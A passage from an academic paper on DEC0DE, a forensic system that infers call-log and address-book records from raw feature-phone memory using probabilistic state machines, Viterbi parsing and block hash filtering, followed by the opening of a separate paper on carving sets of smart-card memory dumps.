3.2 Inference
After block hash filtering has been performed, what re-
mains is a reduced ad hoc data source about which we
have only minimal information. Our goal is to identify cer-
tain types of structured information, such as phone num-
bers, names, and other data types embedded in streams of
this data.

Parsing phones is particularly challenging due to the
inherent ambiguity of the input byte stream. Along with
the lack of explicit delimiters, there is significant overlap
between the encodings for different data structures. For
example, certain sequences of bytes could be interpreted
as both a valid phone number and a valid timestamp. For
these reasons, simple techniques like the unix command
strings and regular expressions will be mostly ineffec-
tive.

DEC0DE solves this ambiguity by using standard prob-
abilistic parsing tools and a probabilistic model of encod-
ings that might be seen in the data. DEC0DE obtains the
maximum likelihood parse of the input stream creating
a hierarchical description of information on the phone
in the form of fields and records. More concretely, the
output of DEC0DE is a set of call log and address book
records. Each record is comprised of fields representing
phone numbers, timestamps, strings, and other structures
extracted from the raw stream.

3.2.1 Fields and Records

Within the block filtered data source, we have no infor-
mation about where records or fields begin or end, and
we have no explicit delimiters. Fig 3 shows simplified
example data that could encode an address book entry
in a Nokia phone; DEC0DE would receive this snippet
embedded and undelineated in megabytes of other data.
Unlike large objects, such as jpegs or Word docs, such
small artifacts are difficult to isolate and can easily appear
randomly.

To infer information found on phones, DEC0DE uses
standard methods for probabilistic finite state machines
(PFSMs), which we describe here. As implied above,

we have a lower level of field state machines that encode
raw bytes as phone numbers, timestamps, and other types.
We also have a higher level of record state machines that
encode fields as call log entries and address book entries.
For example, a call log record can be flexibly encoded
as a phone number field and timestamp field very near to
one another; the encoding might also include an optional
text field.

Each field’s PFSM consists of one or more states, in-
cluding a set of start states and a set of end states. Each
state has a given probability of transitioning to another
state in the machine. Each state emits a single byte dur-
ing each state transition of the PFSM. The emitted byte
is governed by a probability distribution over the bytes
from 0x00 to 0xFF. Restricting the set of bytes that can
be output by a state is achieved by setting the probability
of those outputs to zero. For example, an ASCII alpha-
betic state would only assign non-zero probabilities to
the ASCII codes for “a” through “z” and “A” through
“Z”. Every PFSM in DEC0DE’s set is targeted towards
a specific data type. If correctly defined, a field’s PFSM
will only accept a sequence of bytes if that sequence is a
valid encoding of the field type. We constructed the field
PFSMs based on past observations (see Section 4.1).

Examples of DEC0DE’s specific field types include
10-digit phone numbers, 7-digit phone numbers, Unicode
strings, and ASCII strings. Each specific field is associ-
ated with a generic field type such as text or phone number.
Some fields have fixed lengths and others have arbitrary
lengths.

We define records in a similar manner. Records are
represented as PFSMs, except that each state emits a
generic field rather than a raw byte.

Given the set of PFSMs representing each field type
that we have encoded, we then aggregate them all into a
single Field PFSM. We separately aggregate all record PF-
SMs into a single Record PFSM. The aggregation naively
creates transitions from every field’s end state to every
other field’s start states with some probability, and we do
the same for compiling records. (We discuss setting these
probabilities below.) In the end, we have two distinct
PFSMs that are used as input to our system, along with
data from a phone.

3.2.2 Finding the maximum likelihood sequence of
states

Our basic challenge is that, for a given phone byte stream
that is passed to the inference component of DEC0DE,
there will be many possible way to parse the data. That is,
there are many ways the PSFMs could have created the ob-
served data, but some of these are more likely than others
given the state transitions and the output probabilities. To
formalize the problem, let B = b0, b1, ..., bn be the stream
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of n bytes from the data source. Let S = s0, s1, ..., sn
be a sequence of states which could have generated the
output bytes. Our goal then, is to find

argmax
s0,s1,...,sn

P (s0, s1, ..., sn|b0, b1, ..., bn), (1)

i.e., the maximum probability sequence of states given
the observed bytes. These states are chosen from the set
encoded in the PFSM given to DEC0DE. The probabilities
assigned to PFSM’s states, transitions, and emissions
affect the specific value that satisfies the above equation.

In a typical hidden Markov model, one assumes that
an output byte is a function only of the current unknown
state, and that given this state, the current output is inde-
pendent of all other states and outputs. Using this assump-
tion, and noting that multiplying the above expression by
P (b0, ..., bn) does not change the state sequence which
maximizes the expression, we can write

argmax
s0,...,sn

P (s0, ..., sn|b0, ..., bn)

= argmax
s0,...,sn

P (s0, ..., sn|b0, ..., bn)P (b0, ..., bn)

= argmax
s0,...,sn

P (s0, ..., sn, b0, ..., bn)

= argmax
s0,...,sn

P (s0, ..., sn)P (b0, ..., bn|s0, ..., sn)

= argmax
s0,...,sn

P (s0, ..., sn)

n∏

i=0

P (bi|si). (2)

Naively enumerating all possible state sequences and se-
lecting the best parse is at best inefficient and at worst
intractable. One way around this is to assume that the
current state depends only on the state that came immedi-
ately before it, and is independent of other states further
in the past. This is known as a first order Markov model,
and allows us to write

argmax
s0,...,sn

P (s0, ..., sn)

n∏

i=0

P (bi|si)

= argmax
s0,...,sn

P (s0)P (s1|s0)P (s2|s0, s1)

...P (sn|s0, s1, ..., sn−1)

n∏

i=0

P (bi|si)

= argmax
s0,...,sn

P (s0)

n∏

i=1

P (si|si−1)

n∏

i=0

P (bi|si). (3)

The Viterbi algorithm is an efficient algorithm for finding
the state sequence that maximizes the above expression.
The complexity of the Viterbi algorithm is O(nk2) where
n and k are the number of bytes and states. For a full
explanation of the algorithm, see for example the texts by
Viterbi [24] or Russell and Norvig [21].

3.2.3 Fixed length fields and records

Markov models are well-suited to data streams with arbi-
trary length fields. For example, an arbitrary length text
string can be modeled well by a single state that might
transition to itself with probability α, or with probabil-
ity 1− α to some other state, and hence terminating the
string. Unfortunately, first order Markov models are not
well-suited to modeling fields with fixed lengths (like 7-
digit phone numbers), since it is impossible to enforce the
transition to a new state after 7 bytes when one is only con-
ditioning state transition on a single past state. In other
words, a first order Markov model cannot “remember”
how long it has been in a particular state.

Since it is critical for us to model certain fixed length
fields like dates and phone numbers, we had two options:
• Add a separate new state for every position in a fixed

length field. For example, a 7-digit phone number
would have seven different separate states, rather
than a single state.

• Implement an mth order Markov model, where m is
equal to the length of the longest fixed length field
we wish to model.

The first option, under a naive implementation, leads to a
very large number of states, and since Viterbi is O(nk2),
it leads to impractical run times.

The second option, using an mth order Markov model,
keeps the number of states low, but can also lead to very
large run times of O(nkm+1). However, by taking advan-
tage of the fact that most state transitions in our model
only depend upon a single previous state, and other struc-
ture in our problem, we are able to implement Viterbi,
even for our fixed length fields, in time that is close to
the implementation for a first order Markov model with a
small number of states. Similar techniques have been used
in the language modeling literature to develop efficient
higher-order Markov models [14].

3.2.4 Hierarchical Viterbi

DEC0DE uses Viterbi twice. First, it passes the filtered
byte stream to Viterbi with the Field PFSM as input. The
output of the first pass is the most likely sequence of
generic fields associated with the byte stream. That field
sequence is then input to Viterbi along with the Record
PFSM for a second pass. We refer to these two phases as
field-level and record-level inference, respectively.

The hierarchical composition of records from fields
(which are in turn composed of bytes) can be captured
by a variety of statistical models, including context free
grammars. The main reason we chose to run Viterbi in
this hierarchical fashion, rather than integrating the infor-
mation about a phone type in something like a context free
grammar, was to limit the explosion of states. In particu-
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lar, because we have a variety of fixed-length field types,
such as phone numbers, the number of states required
to implement a seamless hierarchical model would grow
impractically large. Our resulting inference algorithms
would not have practical run times.

The decomposition of our inference into a field-level
stage and a record-level stage makes the computations
practical at a minimal loss in modeling power. The reason
that DEC0DE can operate on phones that are unseen is
that record state machines are very general. For example,
we don’t require timestamps to phone numbers to appear
in any specific order for a call log entry. We require only
that they are both present.

3.2.5 Post-processing

The last stage of our inference process takes the set of
records recovered by Viterbi and passes them through a
decision tree classifier to remove potential false positives.
We refer to this step as post-processing. We use a decision
tree classifier because it able to take into account features
that can be inefficient to encode in Viterbi. For example,
our classifier considers whether a record was found in
isolation in the byte stream, or in close proximity to other
records. In the former case, the record is more likely to be
a false positive. Our evaluation results (Section 5) show
that this process results in significant improvements to
precision with a negligible effect on recall.

We use the Weka J48 Decision Tree, an open source im-
plementation of a well-known classifier (http://www.
cs.waikato.ac.nz/ml/weka). In general, a deci-
sion tree can be used to decide whether or not an input
is an example of the target class for which it is trained.
The classifier is trained using a set of feature tuples rep-
resenting both positive and negative examples. In our
case, the decision tree decides whether a given record,
output from our Viterbi stage, is valid or not. We selected
a set of features common to both call log and address
book records: number of days from the average date; fre-
quency of phone numbers with same area code; number
of different forms seen for the same number (e.g., 7-digit
and 10-digit); number of characters in string; number of
times the record appears in memory; distance to closest
neighbor record. We do not claim that our choice of fea-
tures and classifier is optimal; it merely represents a lower
bound for what is possible.

Post-processing does not inhibit the investigator, it is
a filter intended to make the investigator’s work easier.
To this end, DEC0DE can make both the pre- and post-
processing results available ensuring that the investigator
has as much useful information as possible.

For our evaluation, the positive training examples con-
sisted of true records from a small set of phones called
our development set (described in detail in Section 5).

Generic type Specific type Num.
States

Records

Call logs

Nokia call log 8
composed of text, phone num., timestamps
General call log 9
composed of text, phone num., timestamps

Address books
General address book 5
composed of phone numbers, text

Fields

Phone number
ASCII 11
Unicode 22
Nokia 10 digit 6

Timestamp
UNIX 4
Samsung 4
Nokia 7

Text ASCII bigram 6
Unicode 7

Number index Nokia number index 1
unstructured unstructured 1

Table 1: Examples of types that we have defined in DEC0DE.

To create the negative training examples, we used a 10
megabyte stream of random data with byte values selected
uniformly at random from 0x00 to 0xFF. We input the ran-
dom data to DEC0DE’s Viterbi implementation and used
the resulting output records as negative examples. We
found that this provided better results than using negative
examples found on real phones.

4 Implementation of State Machines

In the previous section, we presented DEC0DE’s design
broadly; in this section, we focus on the core of the in-
ference process: the probabilistic finite state machines
(PFSM).

DEC0DE’s PFSMs support a number of generic field
types such as phone number, call log type, timestamp,
and text as well as the target record types: address book
and call log. Table 1 shows some example field types that
we have defined and the number of states for each. In
all, DEC0DE uses approximately 40 field-level and 10
record-level PFSMs.

Most fields emit fixed-length byte sequences. For ex-
ample, the 10-digit phone number field is defined as
10 states in which state k (for k �= 1) can only be
reached by state k − 1. The state machine for a 10-
digit phone number as found on many Nokia phones is:

Digits 
1,2

Digits 
3,4start endDigits 

5,6
Digits 
7,8

Digits 
9,10Length

1 1 1 1 1 1

As mentioned in the previous section, each state emits
a single byte; since Nokia often stores digits as nibbles,
each state in the machine encodes two digits. The emis-
sion probability is governed by both the semantics of the
Nokia encoding and real-world constraints. For example

7
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a 10-digit phone number (in the USA) cannot start with a
0 or a 1 and therefore the first state in the machine cannot
emit bytes 0x00-0x1F, i.e., the emission probability for
each of these bytes is zero.

Some fields, such as an unstructured byte stream
have arbitrary length. Such a field is simply de-
fined by a single state with probability α of transi-
tioning to itself, and probability 1 − α of terminat-
ing. In fact, this specific field is special: DEC0DE
uses the unstructured field as a “catch-all” for unknown
or unstructured portions of the byte stream. Byte se-
quences that do not match a more meaningful field
type will always match the unstructured field, which is:

all bytes

α

1-α
all 

bytes
S_1start end

We emphasize that our goal is not to produce a full spec-
ification of the format of a device. While we would cer-
tainly be delighted if this were an easy problem to solve,
we note that we can extract significant amounts of useful
information from a data source even when large parts of
the format specification are not understood. Hence, rather
than solving the problem of complete format specification,
we seek to extract as many records as possible according
to our specification of records. It is also important to
note that our field and record definitions may ignore large
amounts of structure in a phone format. Only a minimal
amount of information about a phone’s data organization
is needed to define useful fields and records. We return
this point in Section 5.3.

4.1 Coding State Machines

We created most of the PFSMs used in DEC0DE using
a hex editor and manual reverse engineering on a small
subset of phones that we denote as our development set.
We limited the development set to one phone model each
from four manufacturers with multiple instances of each
model: the Nokia 3200B, Motorola v551, LG G4015
and Samsung SGH-T309. We intentionally did not ex-
amine any other phone models from these manufacturers
prior to the evaluation of DEC0DE (Section 5) so that we
could evaluate the effectiveness of our state machines on
previously unobserved phone models.

We also used DEC0DE itself to help refine and create
new state machines, both field and record level, for the de-
velopment phones. This process was very similar to how
we imagine an investigator would use DEC0DE during
the post-triage examination.

Once we reached high recall for the development
set, we fixed the PFSMs and other components using

DEC0DE without modification for the extent of our eval-
uation regardless of what model was parsed.

Selecting Transition Probabilities. A sequence of bytes
may match multiple different field types. Similarly, a se-
quence of fields may match multiple record types. Viterbi
accounts for this by choosing the most likely type. It may
appear that a large disadvantage of this approach is that
we must manually set the type probabilities for both fields
and records. However, Viterbi is robust to the choice of
probabilities: the numerical values of the field probabil-
ities are not as important as the probability of one field
relative to another.

5 Evaluation

We evaluated DEC0DE by focusing on several key ques-
tions.

1. How much data does the block hash filtering tech-
nique remove from processing?

2. How effectively does our Viterbi-based inference
process extract fields and records from the filtered
data?

3. How much does our post-processing stage improve
the Viterbi-based results?

4. How well does the inference process work on phones
that were unobserved when the state machines were
developed?

Experimental Setup. We made use of a number of
phones from a variety of manufacturers. The phones
contained some GUI-accessible address book and call
log entries, and we entered additional entries using each
phone’s UI. A combination of deleted and GUI-accessible
data was used in our tests; however, most phones con-
tained only data that was deleted and therefore unavail-
able from the phone’s interface but recoverable using
DEC0DE. The phones we obtained were limited to those
that we could acquire the physical image from memory
(i.e., all data stored on the phone in its native form). The
list of phones is given in Table 2. Our evaluation focuses
on feature phones, i.e., phones with less capability than
smart phones.

As stated in Section 4.1, we performed all development
of DEC0DE and its PFSMs using only the Nokia 3200B,
Motorola v551, LG G4015, and Samsung SGH-T309
phones. We kept the evaluation set of phones separate
until ready to evaluate performance. We acquired the
physical image for all phones using Micro Systemation’s
commercial tool, .XRY.

We focus on two types of records: address book en-
tries and call log entries. We chose these record types

8
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Make Model Count MB
PFSM Development Set
Nokia 3200b 4 1.4
Motorola V551 2 32.0
Samsung SGH-T309 2 32.0
LG G4015 2 48.0
Evaluation Set
Motorola V400 2 32.0
Motorola V300 2 32.0
Motorola V600 2 32.0
Motorola V555 2 32.0
Nokia 6170 2 4.9
Samsung SGH-X427M 2 16.0

Table 2: The phone models used in this study. The table shows
the number we had of each and the size of local storage.

because of their ubiquity across different phone models
and their relative importance to investigators during triage.
We evaluate the performance of DEC0DE’s inference en-
gine based on two metrics, recall and precision. Recall is
the fraction of all phone records that DEC0DE correctly
identified: the number of true positives over the sum of
false negatives and true positives. If recall is high, then
all useful information on a phone has been found. Preci-
sion is the fraction of extracted records that are correctly
parsed: the number of true positives over the sum of false
positives and true positives. If precision is high then the
information output by DEC0DE is generally correct.

Often these two metrics represent a trade-off, but our
goal is to keep both high. In law enforcement, the relative
importance of the two metrics depends on the context. For
generating leads, recall is more important. For satisfying
the probable cause standard required by a search warrant
application, moderate precision is needed. Probable cause
has been defined as “fair probability”1 that the search
warrant is justified, and courts do not use a set quantitative
value. For evidence meeting the beyond a reasonable
doubt standard needed for a criminal conviction, very
high precision is required, though again no quantitative
value can be cited.

For each of our tested phones, we used .XRY not only
to acquire the physical image, but also to obtain ground
truth results that we used to compare against DEC0DE’s
results. It was often the case that DEC0DE obtained re-
sults that .XRY did not. And in those cases, we manually
inspected the result and decided whether they were true
or false positives (painstakingly using a hex editor). We
made conservative decisions in this regard, but were able
to employ a wealth of common sense rules. For exam-
ple, if a call entry seemed to be valid and recent, but was
several years from all other entries, we labeled it as a
false positive. Similarly, an address book entry for “A.M.”

1United States v. Sokolow, 490 U.S. 1 (1989)

is most reasonably assumed to be a true positive while
“,!Mb” is most reasonably a false positive; even though
both have two letters and two symbols, the latter does not
follow English conventions for punctuation. It would be
impractical to program all such common sense rules and
our manual checking is stronger in that regard. Occasion-
ally, DEC0DE extracts partially correct or noisy records.
We mark each of these records as wrong, unless the only
error is a missing area code on the phone number.

5.1 Block Hash Filtering Performance

The goal of BHF is to reduce the amount of data that
DEC0DE must parse, reducing run time, without sacri-
ficing recall. On average, we find that BHF is able to
filter out about 69% of the phone’s stored data without
any measurable effect on inference recall. The BHF al-
gorithm has only two parameters: the shift size d and the
block size b. Our results show that the shift size does not
greatly affect the algorithm’s performance, but it has a
profound effect on storage requirements. Also, we found
that performance varies with block size, but not as widely
as expected.

For each value of b and d that we tested, we kept the
corresponding BHF sets in an SQL table. The database
was able to match sets in tens of seconds, so we do not
report run time performance results here. As an example,
on a moderately resourceful desktop, DEC0DE is able to
filter a 64 megabyte phone, with b = 1024 and d = 128,
in under a minute.

Ideally, we (and investigators) would want our hash
library to be comprised entirely of new phones. If our
library contains used phones, there is a negligible chance
that the same common user data (e.g., an address book
entry with the same name and number) will appear on
different phones, align perfectly on block boundaries, and
be erroneously filtered out. Regardless, it was impractical
for us to find an untouched, new phone model for every
phone we tested. If data was filtered out in this fashion
because of our use of pre-owned phones, it would likely
have shown up in the recall values in the next section;
since the recall values are near perfect, we can infer this
problem did not occur.

Filtering Performance. First, we examined the effect of
the block size b on filtering. Fig. 4 shows the overall filter
percentage of our approach for varying block sizes. In
these experiments, we set d = b so that there was never
overlap. The line plots the average for all phones. As ex-
pected, the smaller block sizes make more effective filters.
However, a small block size results in more blocks and
consequently, greater storage requirements. On average in
our tests, 73% of data is filtered out when b = 256, while
only slightly less, 69%, is filtered out when b = 1024.
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Figure 4: The average performance of BHF as block size varies
for all phones listed in Table 2 (logarithmic x-axis). Error bars
represent one standard deviation. In all cases we set d = b (i.e.,
shift size is equal to block size), but performance does not vary
with d in general.

Second, we examined the affect of the shift amount d
on filtering. In our tests, we fixed b = 1024 and varied
d={32, 64, 128, 256, 512, 1024}. However, there is less
than a 1% difference in filtering between d = 32 and
d = 1024 for all phones. (No plot is shown.) Again, the
affect of d is on storage requirements, which we discuss
below.

Third, we isolated what type of data is filtered out
for each phone using fixed block and shift sizes of b =
1024 and d = 128; we use these values for all other
experiments in this paper. Fig. 5 shows the results as
stacked bars; the top graph shows filtering as a percentage
of the data acquired from the phone, and the bottom graph
shows the same results in megabytes. For each of the
25 phones, the bottom (blue) bar shows the percentage
of data filtered out because the block was a repeated,
constant value (such as a run of zeros). The middle (black)
bar shows the percentage of data that was in common with
a different instance of the same make and model phone.
The top red bar shows the percentage of data that can be
filtered out because it is only found on some phone in the
library that is a different make or model. The data that
remains after filtering is shown in the top, white box.

On average, 69% of data is removed by block hash
filtering. Generally, the technique works well. On aver-
age, half of the filtered out data was found on another
phone of the same model. These percentage values are in
terms of the complete memory, including blocks that were
filled with constants (effectively empty). Therefore, as a
percentage of non-empty data, the percentage of filtered
out data is higher. These results suggest that it is often
sufficient to only compare BHF sets of the same model
phone. However, in some models less than 3% of data
was found on another instance of the same model. This
poor result was the case for the Samsung SGH-X427M
and Motorola V300. Finally, the results shown in the
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Figure 5: The amount of data remaining after filtering is shown
as solid white bars, as a percentage (top) and in MB (bottom).
On average, 69% of data is successfully filtered out. Black
bars show data filtered out because they match data on another
instance of the same model. Blue bars show data filtered out
because it is a single value repeated (e.g., all zeros). Red bars
show data filtered out because it appears on a different model.
(b = 1024 bytes, d = 128 bytes)

Fig. 5 (bottom), suggest that the performance of BHF was
not correlated with the total storage space of the phone.

Our results in the next section on inference, in which
DEC0DE examines only data remaining after filtering,
demonstrate that filtering does not significantly remove
important information: recall is 93% or higher in all cases.

Storage. An important advantage of our approach is that
investigators can share the hash sets of phones, without
sharing the data found within each phone. This sharing is
very efficient as the hash sets are small compared to the
phones. The number of blocks from each phone that must
be hashed and stored in a library is O((n− b)/d), though
only unique copies of each block need be stored. Given
that n >> b, the number of blocks is dependent on n and
d and the affect of b on storage is insignificant. However,
since it is required that d ≤ b, the algorithm’s storage
requirements does depend on b’s value in that sense. As
an example, for a 64 megabyte phone, when b = 1024
bytes and d = 128 bytes, the resulting BHF set is 524,281
hash values. At 20-bytes each, the set is 10 megabytes
(15% of the phone’s storage). Since we need perhaps only
one or two examples of any phone model, the cumulative
space needed to store BHF sets for an enormous number
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Figure 6: Precision and recall for call logs. (Top) Results after
only Viterbi parsing. (Bottom) Results after post-processing.
Left bars are development set; right bars are evaluation set. In
all graphs, black is recall and gray is precision. On average,
development phones have recall of 98%, and precision of 69%
that increases to 77% after post processing. On average, eval-
uation phones have recall of 97%, and precision of 72% that
increases to 80% after post processing. The T309 had no call
log entries, which explains in part DEC0DE’s poor performance
for the X427M.

of phone models is practical. Since BHF gains nearly
all benefit from comparing phones of the same model,
comparison will always be fast.

In order to be effective, the library needs to be con-
structed using the same hash function and block size for
all phones; however, the shift amount need not be the
same. This is important because the storage requirement
of the library is inversely proportional to the shift size and
thus is minimized when d = b. Conversely, BHF removes
the most data when d = 1. We can effectively achieve
maximal filtering with minimal storage using d = b for
the library and d = 1 for the test phone. The cost of this
approach is more computation and consequently higher
run times. A full analysis is beyond the scope of this
paper.

5.2 Inference Performance

To evaluate our inference process, we used DEC0DE to
recover call log and address book entries from a variety
of phones. In our results, we distinguish between the
performance of the Viterbi and decision tree portions of
inference. Additionally, we make clear the performance
of DEC0DE on phones in our development set versus

phones in our evaluation set. All results in this section
assume that input is first processed using BHF.

Fig. 6 shows the performance of our inference process
for call logs; the top results are before the post-processing
step and the bottom after post-processing. The white-
space break in the chart separates the development set
of phones (on the left), and the evaluation set (on the
right). We put the most effort toward encoding high qual-
ity PFSMs for the Nokia and Motorola phones. Not sur-
prisingly, the results are best in general for these makes,
indicating that the performance of DEC0DE is dependent
on the quality of the PFSMs. However, the results also
show that DEC0DE can perform well even for the previ-
ously unseen phones in the evaluation set. Overall, recall
of DEC0DE is near complete at 98% for development
phones and 99% for evaluation phones. Precision is more
challenging, and after Viterbi is at 69% for development
phones and 72% for evaluation phones. It is important
to note that no extra work on DEC0DE was performed
to obtain results from the phones in the evaluation set,
which is significant compared to methods that instrument
executables or perform other machine and platform de-
pendent analysis. After post-processing, the precision for
the development and evaluation phones increased to 77%
and 80% respectively.

Fig. 7 shows the performance of our inference process
for address book records. As before, the top results are
after filtering but not post-processed while the bottom
are post-processed. Overall, recall of the DEC0DE is
again high at 99% for development phones and 93% for
evaluation phones. Precision after Viterbi is 56% for de-
velopment phones and 36% for evaluation phones. After
post processing by the decision tree, the precision for all
phones increased, by an average of 61% over the Viterbi-
only results, a significant improvement. For development
phones, precision increases to 65% on average. (Note that
the development phones are used to train the classifier.)
For evaluation phones, precision increases significantly
to 52%.

While performance is not perfect, we could likely im-
prove performance by using a different set of PFSMs
for each different phone manufacturer. In our evaluation,
all PFSMs for all manufactures are evaluated at once.
Because our goal is to allow for phone triage, we don’t
reduce the set of state machines for each manufacturer;
however, a set of manufacturer-specific state machines
could improve performance at the expense of being a less
general solution.

We also note that when recall is high, it is easier to
discover the intersection of information found on two
independent phones from the same criminal context; that
intersection is likely to be a better lead than most.

When necessary, we can prioritize precision over recall.
Fig. 8 shows the results of culling records for where the
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Figure 7: Precision and recall for Address Book entries. (Top)
Results after only Viterbi parsing. (Bottom) Results after post-
processing. On average, development phones have recall of
99%, and precision of 56% that increases to 65% after post
processing. On average, evaluation phones have recall of 93%,
and precision of 36% that increases to 52% after post processing.
N.b, The first Nokia has no address book entries at all.
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Figure 8: Precision and recall for Address Book entries after
results are culled that do not match phone numbers in DEC0DE’s
call logs for the same phone. For some phones, all results are
culled. On average, development phones have recall of 16%,
and precision of 92% (when results are present). On average,
evaluation phones have recall of 14%, and precision of 94%
(when results are present).

phone number in the address book does not also appear
in the call log: precision is increased to 92%, although
recall drops to 14%. (We don’t show the same process for
call logs.) This simple step shows how easy it is to isolate
results for investigators that deem precision of results
more important than recall. Moreover, the results that are
culled are still available for inspection.

Execution time. Inference is the slowest component of

DEC0DE. The post processing step takes a few seconds,
but the Viterbi component takes significantly longer. On
average, DEC0DE’s Viterbi processes 12,781 bytes/sec.
The smaller phones in our set (Nokias) finish in a few min-
utes, while the larger Motorola can completed in about 15
minutes. Since the Viterbi processing already works with
distinct blocks of input produced by the BHF component,
it would be straightforward to produce a parallel version
of Viterbi for our scenario, thereby greatly increasing
speed.

5.3 Limitations

Our evaluation is limited in a number of ways in addition
to what was previously discussed. First, as with any
empirical study, our results are dependent on our test
cases. While our set of phones is limited, it contains
phones from a variety of makes and models. In future
work, we aim to test against additional phones. Second,
our tests are performed only on call logs and address
book entries. Presently, we are extending DEC0DE to
examine other artifacts, including stored text messages.
Since many phone artifacts are similar in nature — text
messages are stored as strings, phone numbers, and dates
— extending DEC0DE to parse additional types is easier
than creating the initial PFSMs.

Our approach also has a number of limitations. First,
we don’t address the challenge of acquiring the physical
memory image from phones, which is an input needed for
DEC0DE. Here, we have leveraged existing tools to do
so. However, acquisition is an independent endeavor and
varies considerably with the platform of the phone. Part
of our goal is to show that despite hardware (and software)
differences, one approach is feasible across a spectrum of
devices. Second, DEC0DE’s performance is tied strongly
to the quality of the PFSMs. Poorly designed state ma-
chines, especially those with few states, can match any
input. We do not offer an evaluation of whether it is hard
or time consuming to design high quality PFSMs or other
software engineering aspects of our problem; we report
only our success. Third, a single PFSM has an inherent
endianness embedded in it. DEC0DE does not automati-
cally reorganize state machines to account for data that is
the opposite endianness. Fourth, we have not explicitly
demonstrated that phones do indeed change significantly
from model to model or among manufactures. This as-
sertion is suggested by DEC0DE’s varied performance
across models but we offer no overall statistics.

It is also important to note that DEC0DE is an inves-
tigative tool and not necessarily an evidence-gathering
tool. Tools for gathering evidence must follow a specific
set of legal guidelines to ensure the admissibility of the
collected evidence in court. For example, the tool or tech-
nique must have a known error rate (for example, see
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Daubert v. Merrell Dow Pharmaceuticals, 509 U.S. 579
(1993)).

Finally, our approach is to gather artifacts that match a
description that may be too vague in some contexts. For
example, DEC0DE ignores important metadata that is
encoded in bit flags that may indicate if a entry is deleted.
Such metadata can be critical in investigations. It is our
aim to have DEC0DE parse more metadata in the future.

6 Related Work

Our work is related to a number of works in both reverse
engineering and forensics. We did not compare DEC0DE
against these works as each has a significant limitation
or assumption that does not apply well to the criminal
investigation of phones.

Polyglot [2], Tupni [6], and Dispatcher [1] are
instrumentation-based approaches to reverse engineer-
ing. Since binary instrumentation is a complex, time-
consuming process, it is poorly suited to mobile phone
triage. Moreover, our goal is different from that of Poly-
glot, Tupni, and Dispatcher. We seek to extract informa-
tion from the data rather than reverse engineer the full
specification of the device’s format.

Other previous works have attempted to parse machine
data without examining executables. Discoverer [5] at-
tempts to derive the format of network messages given
samples of data. However, Discoverer is limited to identi-
fying exactly two types of data — “text” and “binary” —
and extending it to additional types is a challenge. Overall,
it does not capture the rich variety of types that DEC0DE
can distinguish.

LearnPADS [7,8,25] is another sample-based system.
It is designed to automatically infer the format of ad hoc
data, creating a specification of that format in a custom
data description language (called PADS). Since Learn-
PADS relies on explicit delimiters, it is not applicable to
mobile phones.

Cozzie et al. [4] use Bayesian unsupervised learning to
locate data structures in memory, forming the basis of a
virus checker and botnet detector. Unlike DEC0DE, their
approach is not designed to parse the data but rather to
determine if there is a match between two instances of a
complex data structure in memory.

In our preliminary work [23], we used the Cocke-
Younger-Kasami (CYK) algorithm [10] to parse the
records of Nokia phones. While this effort influenced
the development of DEC0DE, it was much more limited
in scope and function.

The idea of extracting records from a physical memory
image is similar to file carving. File carving is focused
on identifying large chunks of data that follow a known
format, e.g., jpegs or mp3s. Some file carving techniques
match known file headers to file footers [18,20] when they

appear contiguously in the file system. More advanced
techniques can match pieces of images fragmented in the
file system relying on domain specific knowledge about
the file format [19]. In contrast, our goal is to identify and
parse small sequences of bytes into records — all without
any knowledge of the file system. Moreover, we seek to
identify information within unknown formats that only
loosely resemble the formats we’ve previously seen.

DEC0DE’s filtering component is similar to number
of previous works. Block hashes have been used by
Garfinkel [9] to find content that is of interest on a large
drive by statistically sampling the drive and comparing
it to a bloom filter of known documents. This recent
work has much in common with both the rsync algo-
rithm [22], which detects differences between two data
stores using block signatures, as well as the Karp-Rabin
signature-based string search algorithm [13], among oth-
ers.

7 Conclusions

We have addressed the problem of recovering informa-
tion from phones with unknown storage formats using
a combination of techniques. At the core of our system
DEC0DE, we leverage a set of probabilistic finite state
machines that encode a flexible description of typical data
structures. Using a classic dynamic programming algo-
rithm, we are able to infer call logs and address book
entries. We make use of a number of techniques to make
this approach efficient, processing data in about 15 min-
utes for a 64-megabyte image that has been acquired from
a phone. First, we filter data that is unlikely to contain
useful information by comparing block hash sets among
phones of the same model. Second, our implementation
of Viterbi and the state machines we encoded are effi-
ciently sparse, collapsing a great deal of information in a
few states and transitions. Third, we are able to improve
upon Viterbi’s result with a simple decision tree.

Our evaluation was performed across a variety of phone
models from a variety of manufactures. Overall, we are
able to obtain high performance for previously unseen
phones: an average recall of 97% and precision of 80%
for call logs; and average recall of 93% and precision
of 52% for address books. Moreover, at the expense of
recall dropping to 14%, we can increase precision to 94%
by culling results that don’t match between call logs and
address book entries on the same phone.
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Abstract

Carving is a common technique in digital forensics to

recover data from a memory dump of a device. In con-

trast to existing approaches, we investigate the carving

problem for sets of memory dumps. Such a set can, for

instance, be obtained by dumping the memory of a num-

ber of smart cards or by regularly dumping the memory

of a single smart card during its lifetime. The problem

that we define and investigate is to determine at which

location in the dumps certain attributes are stored. By

studying the commonalities and dissimilarities of these

dumps, one can significantly reduce the collection of

possible locations for such attributes. We develop algo-

rithms that support in this process, implement them in a

prototype, and apply this prototype to reverse engineer

the data structure of a public transportation card.

1 Introduction

In digital forensics, the process of recovering data from

a memory dump of a device is called carving. The main

objective of current file carving approaches is to recon-

struct (partially) deleted, damaged or fragmented files. A

typical example is the analysis of memory dumps from

cell phones [1]. Because a file can be permuted in many

possible ways, the process of reassembling files is very

labor intensive. Therefore, fully and semi-automatic file

carving tools have been developed that aid the human in-

spection process.

Traditional carving approaches aim to analyze a single

memory dump. In some cases, however, one may have

access to a series of similarly structured dumps. This

may result from observing a system that progresses in

time, while making memory dumps at regular time in-

tervals, or from dumping the memory of a collection of

similar systems. An example is the analysis of the data

∗Ton van Deursen was supported by a grant from the Fonds National

de la Recherche (Luxembourg).

encoded on a public transportation card. It is possible to

collect dumps of several cards after each usage. This will

be the running example throughout this paper.

We will investigate the problem of carving sets of

dumps under two simplifying assumptions. The first as-

sumption is that we can observe certain relevant proper-

ties of the system at the moment of dumping its memory.

In this way, we can collect the values of a number of at-

tributes that characterize part of the state of the system,

and link that information to the memory dump. An ex-

ample of such an attribute is the number of rides left on a

public transportation card, which can be easily observed

from the display of the card reader when validating the

card. The carving problem for such attributed dump sets

is then described as the problem of finding at which lo-

cation in the memory dump the attributes are stored.

The second assumption is that the memory layout is

either static or semi-dynamic. A memory layout is static

if the attributes are stored at the same location in every

dump and the dumps have the same length. An attribute

is stored semi-dynamically if it is stored alternatingly in

a number of different locations. This will allow us to

develop algorithms to identify such possible locations in

dumps.

Carving dump sets allows one to reverse engineer the

